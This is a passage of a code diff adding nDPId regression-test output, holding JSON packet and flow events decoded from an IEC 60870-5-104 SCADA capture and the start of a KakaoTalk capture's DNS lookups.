+00415{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"IEC104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1317629088,"pkt_ts_usec":520615,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eCvLK7lWABIAxkrACABFAAAoSx9AAH0GYW0Kr9MDCndpGglk1fFZgPwe3z\/\/ZlAQ+y9PxQAAAAAAAAAA"} +00414{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"IEC104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1317629088,"pkt_ts_usec":532081,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"eCvLK7lWABIAxkrACABFAAAuUsZAAH0GWcIKr9MBCndpGglk1fBIoLt3AFkTVVAY\/em9wgAAaAQBAEK5"} +00522{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"IEC104.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_first_seen":1317629088495,"flow_last_seen":1317629088532,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":20,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":23,"midstream":1,"l3_proto":"ip4","src_ip":"10.175.211.1","dst_ip":"10.119.105.26","src_port":2404,"dst_port":54768,"l4_proto":"tcp","ndpi": {"proto":"IEC60870","breed":"Acceptable","category":"IoT-Scada"}} +00415{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"IEC104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1317629088,"pkt_ts_usec":536185,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"eCvLK7lWABIAxkrACABFAAAuSyRAAH0GYWIKr9MDCndpGglk1fFZgPwe3z\/\/ZlAY+y+j+QAAaAQBAEK5"} +00522{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"IEC104.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_first_seen":1317629088520,"flow_last_seen":1317629088536,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":20,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":23,"midstream":1,"l3_proto":"ip4","src_ip":"10.175.211.3","dst_ip":"10.119.105.26","src_port":2404,"dst_port":54769,"l4_proto":"tcp","ndpi": {"proto":"IEC60870","breed":"Acceptable","category":"IoT-Scada"}} +00406{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"IEC104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1317629088,"pkt_ts_usec":731206,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAAMB6wBeCvLK7lWCABFAAAoJ9JAAIAGAAAKd2kaCq\/TAdXwCWQAWRNVSKC7fVAQAP5RXAAA"} +00407{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"IEC104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1317629088,"pkt_ts_usec":739193,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAAMB6wBeCvLK7lWCABFAAAoJ9tAAIAGAAAKd2kaCq\/TA9XxCWTfP\/9mWYD8JFAQAP5RXgAA"} +00442{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"IEC104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1317629089,"pkt_ts_usec":467434,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"eCvLK7lWABIAxkrACABFAABDF19AAH0GlRQKr9MBCndpGglk1fBIoLt9AFkTVVAY\/em4zAAAaBksfkK5JAEDABQpy7ICzcwsPgCU3AKKIwoL"} +00406{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"IEC104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1317629089,"pkt_ts_usec":666296,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAAMB6wBeCvLK7lWCABFAAAoK+dAAIAGAAAKd2kaCq\/TAdXwCWQAWRNVSKC7mFAQAP5RXAAA"} +00645{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"IEC104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1317629089,"pkt_ts_usec":668155,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"eCvLK7lWABIAxkrACABFAADZF7BAAH0GlC0Kr9MBCndpGglk1fBIoLuYAFkTVVAY\/ek84QAAaK8ufkK5JAsDABQqDw4ZAAAQQgCU3AKKIwoLDw4aAAAAQACU3AKKIwoLDw4dAAAAQACU3AKKIwoLDw8DwpINQgCU3AKKIwoLDw4FatocQQCU3AKKIwoLDw8ImcxMPwCU3AKKIwoLDw4OVVWyQgCU3AKKIwoLDw4PAMCpQgCU3AKKIwoLDw4yMDOWQgCU3AKKIwoLDw40eQ2tQgCU3AKKIwoLDw8xRn4OQwCU3AKKIwoL"} +00407{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"IEC104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1317629089,"pkt_ts_usec":866278,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAAMB6wBeCvLK7lWCABFAAAoLMVAAIAGAAAKd2kaCq\/TAdXwCWQAWRNVSKC8SVAQAP1RXAAA"} +00745{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"IEC104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1317629090,"pkt_ts_usec":95813,"pkt_caplen":306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":306,"pkt_l4_len":272,"pkt":"eCvLK7lWABIAxkrACABFAAEkGGVAAH0Gky0Kr9MBCndpGglk1fBIoLxJAFkTVVAY\/emdWAAAaPowfkK5JBADABQpDxAZAACgQAAF3wKKIwoLDxAaAACAPwAF3wKKIwoLDxAEeT3qPwAF3wKKIwoLDxADoLYeQgAF3wKKIwoLDw8yhM6gQgAF3wKKIwoLDw8xDaQGRAAF3wKKIwoLDxAOAADkQgAF3wKKIwoLDxA0AADkQgAF3wKKIwoLDw8IZwN1QAAF3wKKIwoLDxAx3cCeQgAF3wKKIwoLDxAyU+FqQAAF3wKKIwoLDw8DfqGGQwAF3wKKIwoLCwIKKVKGPQAF3wKKIwoLDw8GsoG6QAAF3wKKIwoLDw8Fml+pQQAF3wKKIwoLDw8aAAAAQAAF3wKKIwoL"} +00407{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"IEC104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1317629090,"pkt_ts_usec":296232,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAAMB6wBeCvLK7lWCABFAAAoL4FAAIAGAAAKd2kaCq\/TAdXwCWQAWRNVSKC9RVAQAPxRXAAA"} +00563{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"IEC104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1317629090,"pkt_ts_usec":298203,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"eCvLK7lWABIAxkrACABFAACaGK9AAH0Gk20Kr9MBCndpGglk1fBIoL1FAFkTVVAY\/emmigAAaFUyfkK5JAUDABQpDw8bAACAPwAF3wKKIwoLDw8ZAAAAQgAF3wKKIwoLDw8eAACAPwAF3wKKIwoLDw8SAIDDQgAF3wKKIwoLDw8Qq6q0QgAF3wKKIwoLaBk0fkK5JAEDABQqDw4Rq6qwQgAF3wKKIwoL"} +00408{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"IEC104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1317629090,"pkt_ts_usec":496349,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAAMB6wBeCvLK7lWCABFAAAoMG9AAIAGAAAKd2kaCq\/TAdXwCWQAWRNVSKC9t1AQAPxRXAAA"} +00444{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"IEC104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1317629090,"pkt_ts_usec":498077,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"eCvLK7lWABIAxkrACABFAABDGPtAAH0Gk3gKr9MBCndpGglk1fBIoL23AFkTVVAY\/emDkQAAaBk2fkK5JAEDABQpy68CzcwsvgA94AKKIwoL"} diff --git a/test/results/KakaoTalk_chat.pcap.out b/test/results/KakaoTalk_chat.pcap.out new file mode 100644 index 000000000..8936da117 --- /dev/null +++ b/test/results/KakaoTalk_chat.pcap.out @@ -0,0 +1,694 @@ +00403{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069021,"pkt_ts_usec":959113,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADwAAEAAQBHSIAoYUrwKvAEBljAANQAogKaG7QEAAAEAAAAAAAAEYXV0aAVrYWthbwNjb20AAAEAAQ=="} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00405{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":6995,"pkt_caplen":79,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":79,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAD8AAEAAQBHSHQoYUrwKvAEBixMANQArGNJpegEAAAEAAAAAAAAHYWMtdGFsawVrYWthbwNjb20AAAEAAQ=="} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00401{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":7117,"pkt_caplen":78,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":78,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAD4AAEAAQBHSHgoYUrwKvAEB4dgANQAqGG9RAgEAAAEAAAAAAAAGa2F0YWxrBWtha2FvA2NvbQAAAQAB"} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00484{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":41815,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAHgb0gAANREBEwq8AQEKGFK8ADWLEwBk4PlpeoGAAAEAAwAAAAAHYWMtdGFsawVrYWthbwNjb20AAAEAAcAMAAUAAQAABZUADQdhYy10YWxrAmdswBTALwABAAEAAACbAARuTI1wwC8AAQABAAAAmwAEAckAJw=="} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":4,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":41999,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAGIb0wAANREBKAq8AQEKGFK8ADWWMABOrZ2G7YGAAAEAAgAAAAAEYXV0aAVrYWthbwNjb20AAAEAAcAMAAUAAQAABccACgRhdXRoAmdswBHALAABAAEAAABWAATSZ\/AP"} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":5,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00525{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":42121,"pkt_caplen":166,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":166,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAJbtdwAANREvTwq8AQEKGFK8ADXh2ACCeK5RAoGAAAEABQAAAAAGa2F0YWxrBWtha2FvA2NvbQAAAQABwAwABQABAAAD9AAMBmthdGFsawJnbMATwC4AAQABAAAAegAEbkyOIsAuAAEAAQAAAHoABAHJAD3ALgABAAEAAAB6AAQByQA\/wC4AAQABAAAAegAEbkyNJQ=="} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":6,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00410{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":58570,"pkt_caplen":84,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":84,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAEQAAEAAQBHSGAoYUrwKvAEBo7UANQAwrR37RAEAAAEAAAAAAAAHYm9va2luZwRsb2NvBWtha2FvA2NvbQAAAQAB"} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":7,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":59149,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAEEAAEAAQBHSGwoYUrwKvAEBMmwANQAtbIX3UQEAAAEAAAAAAAAEdXAtbQR0YWxrBWtha2FvA2NvbQAAAQAB"} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":8,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00402{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":59638,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADwAAEAAQBHSIAoYUrwKvAEB5boANQAoZpVNewEAAAEAAAAAAAAEaXRlbQVrYWthbwNjb20AAAEAAQ=="} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":9,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":10,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":93909,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAGIb1QAANREBJgq8AQEKGFK8ADXlugBOjwdNe4GAAAEAAgAAAAAEaXRlbQVrYWthbwNjb20AAAEAAcAMAAUAAQAABdUACgRpdGVtAmdswBHALAABAAEAAADUAATSZ\/AP"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":10,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":11,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":94092,"pkt_caplen":124,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":124,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAGzteAAANREveAq8AQEKGFK8ADUybABYuHj3UYGAAAEAAgAAAAAEdXAtbQR0YWxrBWtha2FvA2NvbQAAAQABwAwABQABAAAD8wAPBHVwLW0EdGFsawJnbMAWwDEAAQABAAAAeAAE0mfwEA=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":11,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00477{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":12,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":94214,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAHLteQAANREvcQq8AQEKGFK8ADWjtQBeT7D7RIGAAAEAAgAAAAAHYm9va2luZwRsb2NvBWtha2FvA2NvbQAAAQABwAwABQABAAAD8wASB2Jvb2tpbmcEbG9jbwJnbMAZwDQAAQABAAAAeAAEbkyOfQ=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":12,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00408{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":13,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":100592,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAEEAAEAAQBHSGwoYUrwKvAEBFykANQAtVi4l7AEAAAEAAAAAAAAEdXAtcAR0YWxrBWtha2FvA2NvbQAAAQAB"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":13,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00408{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":14,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":104834,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAEEAAEAAQBHSGwoYUrwKvAEBI4YANQAt2SeQlQEAAAEAAAAAAAAEdXAtdgR0YWxrBWtha2FvA2NvbQAAAQAB"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":14,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00408{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":15,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":105414,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAEEAAEAAQBHSGwoYUrwKvAEB3fQANQAtU9dudwEAAAEAAAAAAAAEdXAtYwR0YWxrBWtha2FvA2NvbQAAAQAB"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":15,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":16,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":234412,"pkt_caplen":124,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":124,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAGwb1gAANREBGwq8AQEKGFK8ADUXKQBYAAol7IGAAAEAAgAAAAAEdXAtcAR0YWxrBWtha2FvA2NvbQAAAQABwAwABQABAAAFlQAPBHVwLXAEdGFsawJnbMAWwDEAAQABAAAAiwAE0mfwEA=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":16,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":17,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":234626,"pkt_caplen":124,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":124,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAGwb1wAANREBGgq8AQEKGFK8ADUjhgBYgN2QlYGAAAEAAgAAAAAEdXAtdgR0YWxrBWtha2FvA2NvbQAAAQABwAwABQABAAAFlwAPBHVwLXYEdGFsawJnbMAWwDEAAQABAAAAqwAE0mfwEA=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":17,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":18,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":234717,"pkt_caplen":124,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":124,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAGztegAANREvdgq8AQEKGFK8ADXd9ABYZqtud4GAAAEAAgAAAAAEdXAtYwR0YWxrBWtha2FvA2NvbQAAAQABwAwABQABAAAD8wAPBHVwLWMEdGFsawJnbMAWwDEAAQABAAAAeAAEbkyNVQ=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":18,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00408{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":19,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":249457,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAEEAAEAAQBHSGwoYUrwKvAEBcWUANQAtiQin1QEAAAEAAAAAAAAEdXAtYQR0YWxrBWtha2FvA2NvbQAAAQAB"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":19,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00413{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":20,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":252173,"pkt_caplen":82,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":82,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAEIAAEAAQBHSGgoYUrwKvAEBYh0ANQAu\/udwlQEAAAEAAAAAAAAFdXAtZ3AEdGFsawVrYWthbwNjb20AAAEAAQ=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":20,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00408{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":21,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":252722,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAEEAAEAAQBHSGwoYUrwKvAEBqEUANQAtOYa3iAEAAAEAAAAAAAAEZG4tbAR0YWxrBWtha2FvA2NvbQAAAQAB"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":21,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":22,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":282050,"pkt_caplen":124,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":124,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAGwb2AAANREBGQq8AQEKGFK8ADVxZQBYBjqn1YGAAAEAAgAAAAAEdXAtYQR0YWxrBWtha2FvA2NvbQAAAQABwAwABQABAAAFwgAPBHVwLWEEdGFsawJnbMAWwDEAAQABAAAARAAE0mfwEA=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":22,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":23,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":295691,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAFHtewAANREvkAq8AQEKGFK8ADWoRQA9yiS3iIGAAAEAAQAAAAAEZG4tbAR0YWxrBWtha2FvA2NvbQAAAQABwAwAAQABAAAEOQAEbkyNVg=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":23,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":24,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":295813,"pkt_caplen":126,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":126,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAG4b2QAANREBFgq8AQEKGFK8ADViHQBaJnpwlYGAAAEAAgAAAAAFdXAtZ3AEdGFsawVrYWthbwNjb20AAAEAAcAMAAUAAQAABasAEAV1cC1ncAR0YWxrAmdswBfAMgABAAEAAACsAARuTI0a"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":24,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} 